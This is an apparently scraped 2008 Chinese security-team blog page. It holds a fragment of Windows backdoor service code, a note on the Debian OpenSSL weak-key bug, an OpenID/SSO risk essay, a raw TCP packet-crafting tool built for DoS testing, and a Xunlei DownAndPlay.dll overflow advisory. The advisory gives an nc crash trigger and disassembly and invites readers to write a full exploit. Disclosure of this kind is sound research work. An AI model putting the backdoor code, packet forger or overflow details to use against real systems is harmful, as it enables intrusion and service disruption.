            WCHAR    tmp[
256] = { 0 };
            wsprintf( tmp, L
"ServiceMain: Control service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
    }

    
return;
}

BOOL ServiceExists( WCHAR 
*path )
{
    WCHAR    tmpPath[MAX_PATH] 
= { 0 };
    HKEY    key;
    WCHAR    value[
512] = { 0 };

    
int        type = REG_EXPAND_SZ;
    
int        size = sizeof(value);

    wcscpy( tmpPath, L
"SYSTEM\CurrentControlSet\Services\" );
    wcscat( tmpPath, SERVICE_NAME );
    
    
if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
    {
        
//printf( "RegOpenKeyEx Error: %d\n", GetLastError() );        
        return FALSE;
    }

    
if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
    {
        
//printf( "RegQueryValueEx Error: %d\n", GetLastError() );
        
        
return FALSE;
    }

    
if( key )    RegCloseKey( key );

    
// 如果服务的程序路径等于后门本身,表示已经安装
    if( 0 == _wcsicmp( value, path ) )
    {
        
return TRUE;
    }

    
return FALSE;
} 

2008年5月15日星期四

[News]Debian灾难

by axis
2008-05-16
http://www.ph4nt0m.org

Debian OpenSSL包里的算法有问题,random number生成居然是在process pid里选取,导致生成key可穷举

以下摘自metasploit的blog
The Bug
On May 13th, 2008 the Debian project announced that Luciano Bello found an interesting vulnerability in the OpenSSL package they were distributing. The bug in question was caused by the removal of the following line of code from md_rand.c

MD_Update(&m,buf,j);
[ .. ]
MD_Update(&m,buf,j); /* purify complains */

These lines were removed because they caused the Valgrind and Purify tools to produce warnings about the use of uninitialized data in any code that was linked to OpenSSL. You can see one such report to the OpenSSL team here. Removing this code has the side effect of crippling the seeding process for the OpenSSL PRNG. Instead of mixing in random data for the initial seed, the only "random" value that was used was the current process ID. On the Linux platform, the default maximum process ID is 32,768, resulting in a very small number of seed values being used for all PRNG operations.


所有在2006.9月到2008.5.13的debian平台上生成的key均受影响。 debian很快修复了此漏洞,并给出了blacklists和自查工具。

攻击工具应该很快会出现,metasploit已经生成了key的数据库,可以用类似rainbow的方法去查询,也可以直接暴力破解ssh key。

现在就等worm什么时候出现了。

因为这个漏洞比较严重,所以特此记录,立此存照。

相关链接:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516

http://metasploit.com/users/hdm/tools/debian-openssl/

http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/61666

http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/61606

http://www.debian.org/security/2008/dsa-1571

2008年5月14日星期三

[Tips]OpenID and SSO

by axis
2008-05-14
http://www.ph4nt0m.org

OpenID技术在国外已经很火了,在国内在刚刚起步。其实OpenID也是一个SSO(单点登录)的思想。目前随着web2.0技术的发展,网站之间交互越来越多,认证也即将迎来Identity2.0时代。OpenID就是其代表产物。

在Identity2.0的概念里,认证已经从网站通过用户名和密码来认证用户(目录查询类型的认证),转移为由第三方提供者来进行认证。也就是说,到别的第三方机构去认证该用户,网站本身不需要关心用户identity管理、用户认证。关于Identity2.0的更多资料,大家可以访问http://identity20.com这个网站,作者有一个非常精彩的演讲。

OpenID由provider生成一个link,通过这个link,网站对该用户进行认证。这个link可以是一次性的。这里需要注意的是link如果被截获到可能会发生hijacking攻击。所以通道加密往往会起到很重要的作用。还有一些csrf的问题也是在设计系统时需要关心的,对抗方法是加上anti-csrf-token。

OpenID的出现,让用户只需要记住一个用户名和密码(在provider上的),就能够登录所有支持该OpenID provider的网站,大大提高了用户体验。对于网站来说,他们不需要去管理用户的登录信息,减少认证这个环节,大大节约了成本,而且安全性还提高了。

为什么说安全性提高了呢?因为风险被集中化了。风险集中到了OpenID provider身上,如果OpenID出现安全风险导致帐户被窃取,那么所有网站都能被登录。但是这样做也是有好处的。SSO的优点在于可以集中最大精力来保护重要的登录入口。比如可以使用双因素认证(RSA令牌,USB Key、客户端证书等技术)。武侠小说里经常描述最强的一点就是最弱的一点,SSO很深刻的反应了这种情况。

其他SSO技术有的是基于cookie的,但是我认为这种放在cookie里的认证还是存在一定风险的,cookie本身就不是个什么好玩意,cookie让跨站和浏览器漏洞(比如跨域的)有了用武之地。而OpenID技术本身不依赖于cookie,只要设计的好完全能杜绝许多威胁。

目前OpenID面临的最大风险可能是钓鱼(对于面对公众的openid provider来说,内部系统无此威胁)。但是通过双因素认证,不依赖于密码验证用户身份,或者使用sign seal技术(主动识别真实网站),也能规避钓鱼的风险。

还有些SSO技术是基于安全协议的,不过没有深入研究,希望有道友能够补充。

值得一提的是,在国内有家叫onedoor.cn的网站,它不光支持openid技术,同时还支持保存密码,然后帮助用户去sso其他网站。从网站的角度来说,这样的做法是正确的。但是从安全工作者的角度来说,不建议客户这样做,将密码交给第三方网站保存不是一个明智的做法。

总的来说,Identity2.0是优于目前的登录、认证技术的,在web2.0的发展中,必然会发挥越来越大的影响。

关于openid更多的资料,可以访问 http://openid.net
对于国内用户,想体验openid技术最方便的就是通过yahoo id登录flickr! , 当然需要先在yahoo上开通openid,不过有向导引导操作,非常简单。

2008年5月8日星期四

[Tips]使用winpcap定制TCP包发送

by: 云舒
2008-05-08
http://www.ph4nt0m.org

前些时候做DOS方面的测试,由于协议学得不够好,有些回应不记得,所以就首先想到用hping来定制一些包,看看远程主机的回应。结果下载的hping死活都不发包,换了多个不同版本的winpcap都不行。一怒之下,决定自己写个简单的。首先想到的是perl来做,最后觉得一样要安装 winpcap还有很多别的模块,不如直接c来实现一下,来得更痛快。

需要说明一下的是,在以太网头那里我故意偷懒了,没有获取本机的MAC地址而是写了个错误的。所以给内网用户发包的话,能发出去,只是你收不到回应了,发给外网就没这个问题,这是因为同交换机下面靠MAC地址来定位的。

最后一点,这里所有的包,目的MAC地址都是写的MAC,通过网关把数据转发出去的。虽然同交换机下面可以直接通过MAC定位,但是我懒得判断,直接发送给网关再转发会比较简单。

/* Code By yunshu, 2008-05-08, Make tcp packet to send to remote server
* I don't know which version of winpcap needed by hping, so I wrote this code.
* Under winpcap 4.0.2, Dev-CPP 4.9.9.2, windows xp professional sp2
*/

#include 
<stdio.h>
#include 
<string.h>
#include 
<winsock2.h>
#include 
<iphlpapi.h>
#include 
<unistd.h>
#include 
<pcap.h>
#include 
<remote-ext.h>

#define IP_PROTO    0x0800

char    LocalIP[20] = { 0 };
char    InterfaceName[256] = { 0 };
char    GatewayIP[20] = { 0 };
BYTE    GatewayMac[
6];

typedef 
struct et_header
{
    unsigned 
char   eh_dst[6];  
    unsigned 
char   eh_src[6];
    unsigned 
short  eh_type;
}ET_HEADER;

typedef 
struct ip_hdr
{
    unsigned 
char       h_verlen;
    unsigned 
char       tos;
    unsigned 
short      total_len;
    unsigned 
short      ident;
    unsigned 
short      frag_and_flags;
    unsigned 
char       ttl;
    unsigned 
char       proto;
    unsigned 
short      checksum;
    unsigned 
int        sourceIP;
    unsigned 
int        destIP;
}IP_HEADER;

typedef 
struct tcp_hdr
{
    unsigned 
short    th_sport;
    unsigned 
short    th_dport;
    unsigned 
int    th_seq;
    unsigned 
int    th_ack;
    unsigned 
char    th_lenres;
    unsigned 
char    th_flag;
    unsigned 
short    th_win;
    unsigned 
short    th_sum;
    unsigned 
short    th_urp;
}TCP_HEADER;

typedef 
struct tsd_hdr
{
    unsigned 
long    saddr;
    unsigned 
long    daddr;
    
char            mbz;
    
char            ptcl;
    unsigned 
short    tcpl;
}PSD_HEADER;

unsigned 
short CheckSum(unsigned short * buffer, int size)
{
    unsigned 
long   cksum = 0;

    
while (size > 1)
    {
        cksum 
+= *buffer++;
        size 
-= sizeof(unsigned short);
    }
    
if (size)
    {
        cksum 
+= *(unsigned char *) buffer;
    }
    cksum 
= (cksum >> 16) + (cksum & 0xffff);
    cksum 
+= (cksum >> 16);

    
return (unsigned short) (~cksum);
}

/*
void GetLocalIP( )
{
    WORD        wVersionRequested;  
    WSADATA        wsaData;  
    char        name[255];  
    PHOSTENT    hostinfo;  
    
    wVersionRequested = MAKEWORD( 2, 0 );
    
    if( WSAStartup( wVersionRequested, &wsaData ) == 0 )  
    {
        if( gethostname( name, sizeof(name) ) == 0 )  
        {  
            if( (hostinfo = gethostbyname(name) ) != NULL )  
            {
                strcpy( LocalIP, inet_ntoa( *(struct in_addr*)*hostinfo->h_addr_list ) );            
            }  
        }  
    }
    
    WSACleanup(   );  
}
*/

int GetDevices( )
{
    pcap_if_t    
*alldevs;
    pcap_if_t    
*d;
    
    
int i = 0;
    
char errbuf[PCAP_ERRBUF_SIZE];
    
    
/* 获取本地机器设备列表 */
    
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL /* auth is not needed */, &alldevs, errbuf) == -1)
    {
        fprintf(stderr,
"Error in pcap_findalldevs_ex: %s\n", errbuf);
        exit(
1);
    }
    
    
/* 打印列表 */
    
for( d = alldevs; d != NULL; d = d->next )
    {
        printf(
"%d. %s", ++i, d->name);
        
        
if (d->description)
        {
            printf( 
" (%s)", d->description );
        }
                
        
if( d->addresses != NULL )
        {
            
if( d->addresses->addr->sa_family == AF_INET )
            {
                
                printf( 
": %s\n", inet_ntoa( ((struct sockaddr_in *)d->addresses->addr)->sin_addr ) );
            }
            
else
            {
                printf( 
"\n" );
            }
        }
        
else
        {
            printf(
" (No description available)\n");
        }
    }
    
    
if (i == 0)
    {
        printf(
"\nNo interfaces found! Make sure WinPcap is installed.\n");
        
return -1;
    }
    
    printf( 
"\nPlease choose the index of your NetAdapter:" );
    
int    AdapterIndex = 1;
    scanf( 
"%d", &AdapterIndex );
    
if( AdapterIndex > i )
    {
        printf( 
"网卡选错啦\n" );
        
return -1;
    }
    
    d 
= alldevs;
    
for( int index = 1; index < AdapterIndex; index ++ )
    {
        d 
= d->next;
    }
    
    
if( d->name == NULL || d->addresses == NULL )
    {
        printf( 
"网卡选错啦\n" );
        
return -1;
    }
    
    strcpy( InterfaceName, d
->name );
    strcpy( LocalIP, inet_ntoa( ((
struct sockaddr_in *)d->addresses->addr)->sin_addr ) );
    
    
/* 不再需要设备列表了,释放它 */
    pcap_freealldevs(alldevs);
    
    
return 1;
}

int GetGateWayMac( )
{
    PIP_ADAPTER_INFO AdapterInfo;
    
    ULONG    OutBufLen 
= sizeof(IP_ADAPTER_INFO);
    AdapterInfo 
= (IP_ADAPTER_INFO *)malloc(sizeof (IP_ADAPTER_INFO));
    
if( AdapterInfo == NULL )
    {
        printf(
"Error allocating memory needed to call GetAdaptersinfo\n");
        
return -1;
    }

    
if( GetAdaptersInfo( AdapterInfo, &OutBufLen ) == ERROR_BUFFER_OVERFLOW )
    {
        free( AdapterInfo );
        AdapterInfo 
= (IP_ADAPTER_INFO *)malloc( OutBufLen );
        
if( AdapterInfo == NULL )
        {
            printf(
"Error allocating memory needed to call GetAdaptersinfo\n");
            
return -1;
        }
    }

    
if( GetAdaptersInfo( AdapterInfo, &OutBufLen ) == NO_ERROR )
    {
        PIP_ADAPTER_INFO    a 
= AdapterInfo;
        BOOL                Found 
= FALSE;
        
         
while( a )
        {
            
if( strcmp(a->IpAddressList.IpAddress.String, LocalIP) == 0 )
            {
                strcpy( GatewayIP, a
->GatewayList.IpAddress.String );
                Found 
= TRUE;
                
break;
            }
            a 
= a->Next;
        }
        
if( !Found )
        {
            printf( 
"Get gateway's ip error.\n" );
            free( AdapterInfo );
            
return -1;
        }
        
else
        {
            free( AdapterInfo );
        }
    }
    
else
    {
        printf( 
"Get gateway's ip error.\n" );
        free( AdapterInfo );
        
return -1;
    }

    BYTE    Mac[
6];
    ULONG    MacLen 
= 6;
    SendARP( inet_addr(GatewayIP), 
0, (PULONG)&Mac, &MacLen );
    memcpy( GatewayMac, Mac, MacLen );
    
    
/*
    for( int index = 0; index < MacLen; index ++ )
    {
        printf( "%d: %02x\n", index, Mac[index] );
    }
    printf( "\n%d\n", MacLen );
    
*/
}

void Usage( char *me )
{
    printf( 
"Make tcp package 0.1, code by yunshu\n" );
    printf( 
"%s:   targetip  targetport [flag]\n", me );
    printf( 
"flag: \n" );
    printf( 
"      u|U     set urg flag.\n" );
    printf( 
"      a|A     set ack flag.\n" );
    printf( 
"      p|P     set push flag.\n" );
    printf( 
"      r|R     set rst flag.\n" );
    printf( 
"      s|S     set syn flag.\n" );
    printf( 
"      f|F     set fin flag.\n" );
    printf( 
"      default is syn flag, and you can use sa to set syn+ack, and more\n" );
}

int main( int argc, char *argv[] )
{
    ET_HEADER    EtHeader;
    IP_HEADER    IpHeader;
    TCP_HEADER    TcpHeader;
    PSD_HEADER    PsdHeader;
    u_char        Buffer[
sizeof(ET_HEADER) + sizeof(IP_HEADER) + sizeof(TCP_HEADER)] = { 0 };
    
    
if( (argc != 3) && (argc != 4) )
    {
        Usage( argv[
0] );
        exit( 
-1 );
    }
    
    
int    Flag = 2;
    
if( argc == 4 )
    {
        Flag 
= 0;
        
if( strchr(argv[3], 'U') || strchr(argv[3], 'u') )
        {
            Flag 
= Flag | 32;
        }
        
if( strchr(argv[3], 'A') || strchr(argv[3], 'a') )
        {
            Flag 
= Flag | 16;
        }
        
if( strchr(argv[3], 'P') || strchr(argv[3], 'p') )
        {
            Flag 
= Flag | 8;
        }
        
if( strchr(argv[3], 'R') || strchr(argv[3], 'r') )
        {
            Flag 
= Flag | 4;
        }
        
if( strchr(argv[3], 'S') || strchr(argv[3], 's') )
        {
            Flag 
= Flag | 2;
        }
        
if( strchr(argv[3], 'F') || strchr(argv[3], 'f') )
        {
            Flag 
= Flag | 1;
        }
    }
    
    
//GetLocalIP( );
    if( -1 == GetDevices( ) )
    {
        exit( 
-1 );
    }
    
    
//printf( "Adapter is %s, ip is %s\n", InterfaceName, LocalIP );
    
    
if( -1 == GetGateWayMac( ) )
    {
        exit( 
-1 );
    }
    
    
//printf( "Gateway IP is %s\n", GatewayIP );
    
//printf( "Gateway Mac is %x\n", *GatewayMac );
    
    memcpy( EtHeader.eh_dst, GatewayMac, 
6 );
    memset( EtHeader.eh_src, 
0xa, 6 );
    EtHeader.eh_type 
= htons( IP_PROTO );
    
    IpHeader.h_verlen 
= (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
    IpHeader.tos 
= 0;
    IpHeader.total_len 
= htons(sizeof(IpHeader)+sizeof(TcpHeader));
    IpHeader.ident 
= 1;
    IpHeader.frag_and_flags 
= 0x40;
    IpHeader.ttl 
= 128;
    IpHeader.proto 
= IPPROTO_TCP;
    IpHeader.checksum 
= 0;
    IpHeader.sourceIP 
= inet_addr( LocalIP );
    IpHeader.destIP 
= inet_addr( argv[1] );
    
    TcpHeader.th_sport 
= htons( rand()%60000 + 1024 );
    TcpHeader.th_dport 
= htons( atoi(argv[2]) );
    TcpHeader.th_seq 
= htonl( rand()%900000000 + 100000 );
    TcpHeader.th_ack 
= 0;
    TcpHeader.th_lenres 
= (sizeof(TcpHeader)/4<<4|0);
    TcpHeader.th_flag 
= Flag;
    TcpHeader.th_win 
= htons(512);
    TcpHeader.th_sum 
= 0;
    TcpHeader.th_urp 
= 0;
    
    PsdHeader.saddr 
= inet_addr( LocalIP );
    PsdHeader.daddr 
= IpHeader.destIP;
    PsdHeader.mbz 
= 0;
    PsdHeader.ptcl 
= IPPROTO_TCP;
    PsdHeader.tcpl 
= htons(sizeof(TcpHeader));
    
    memcpy( Buffer, 
&PsdHeader, sizeof(PsdHeader) );
    memcpy( Buffer 
+ sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );
    TcpHeader.th_sum 
= CheckSum( (unsigned short *)Buffer, sizeof(PsdHeader) + sizeof(TcpHeader) );
    
    memset( Buffer, 
0, sizeof(Buffer) );
    memcpy( Buffer, 
&IpHeader, sizeof(IpHeader) );
    IpHeader.checksum 
= CheckSum( (unsigned short *)Buffer, sizeof(IpHeader) );
    
    memset( Buffer, 
0, sizeof(Buffer) );
    memcpy( Buffer, (
void *)&EtHeader, sizeof(ET_HEADER) );
    memcpy( Buffer 
+ sizeof(ET_HEADER), (void *)&IpHeader, sizeof(IP_HEADER) );
    memcpy( Buffer 
+ sizeof(ET_HEADER) + sizeof(IP_HEADER), (void *)&TcpHeader, sizeof(TCP_HEADER) );
    
    
char errbuf[PCAP_ERRBUF_SIZE] = { 0 };
    pcap_t 
*fp;
    
if ( (fp= pcap_open( InterfaceName, 100, PCAP_OPENFLAG_PROMISCUOUS, 100, NULL, errbuf ) ) == NULL )
    {
        fprintf(stderr,
"\nUnable to open the adapter. %s is not supported by WinPcap\n", InterfaceName );
        
return -1;
    }
    
    
if ( pcap_sendpacket( fp, Buffer, sizeof(Buffer) ) != 0 )
    {
        fprintf(stderr,
"\nError sending the packet: \n", pcap_geterr(fp));
        
return -1;
    }
    printf( 
"send ok!\nData is:\n" );
    
    
for( int i = 0; i < sizeof(Buffer); i ++ )
    {
         printf( 
"%02x ", Buffer );
    }
    
    
return 0;
} 

2008年5月5日星期一

[Advisory]迅雷DownAndPlay.dll模块远程溢出

Author: dummy
Date: 2008-05-06
Team: http://www.ph4nt0m.org


迅雷DownAndPlay.dll随迅雷起来后(不知道这个模块在从那个版本开始出现,我这是最新版本),在本地绑定36897端口,等待链接,
接受的数据格式是 XLDAP|key|value|XLDAP, 其中的 key 由预定义的几个,
这里实现溢出选择的是 savepath, 当value 超长时就会在 spintf 处发生溢出。
附件的 11.dat 是在 临时构造的 一份数据,可以使用 nc 看看效果,运行命令,
迅雷会因为异常退出。

有兴趣试着写出完整攻击代码。

C:\>nc 127.0.0.1 36897 <11.dat

23132CB6     8D45 A0          lea      eax, dword ptr [ebp-60]
23132CB9     E9 
84010000      jmp      23132E42
23132CBE     
68 B4C61323      push     2313C6B4                          ; ASCII "savepath"
23132CC3     
57               push     edi
23132CC4     FFD6             call     esi
23132CC6     
59               pop      ecx
23132CC7     84C0             test     al, al
23132CC9     
59               pop      ecx
23132CCA     
74 5F            je       short 23132D2B
23132CCC     8B75 0C          mov      esi, dword ptr [ebp
+C]
23132CCF     8B0D E0D21323    mov      ecx, dword ptr [2313D2E0]
23132CD5     
56               push     esi
23132CD6     E8 EBE5FFFF      call     231312C6
23132CDB     8B46 
04          mov      eax, dword ptr [esi+4]
23132CDE     8B0D B0E41323    mov      ecx, dword ptr [
<&MSVCP60.`std::>; MSVCP60.`std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Nullstr'::`2'::_C
23132CE4     85C0             test     eax, eax
23132CE6     8BD1             mov      edx, ecx
23132CE8     
74 02            je       short 23132CEC
23132CEA     8BD0             mov      edx, eax
23132CEC     8B7F 
04          mov      edi, dword ptr [edi+4]
23132CEF     85FF             test     edi, edi
23132CF1     
74 02            je       short 23132CF5
23132CF3     8BCF             mov      ecx, edi
23132CF5     B8 D4C61323      mov      eax, 2313C6D4                     ; ASCII 
"XLDAP"
23132CFA     
50               push     eax
23132CFB     
52               push     edx
23132CFC     
51               push     ecx
23132CFD     
50               push     eax
23132CFE     8D85 5CFEFFFF    lea      eax, dword ptr [ebp
-1A4]
23132D04     
68 C0C61323      push     2313C6C0                          ; ASCII "%s|%s|%s|%s"
23132D09     
50               push     eax

溢出发生位置
23132D0A     FF15 54E51323    call     dword ptr [
<&MSVCRT.sprintf>]     ; MSVCRT.sprintf
23132D10     8D85 5CFEFFFF    lea      eax, dword ptr [ebp
-1A4]
23132D16     
50               push     eax


睡觉了。。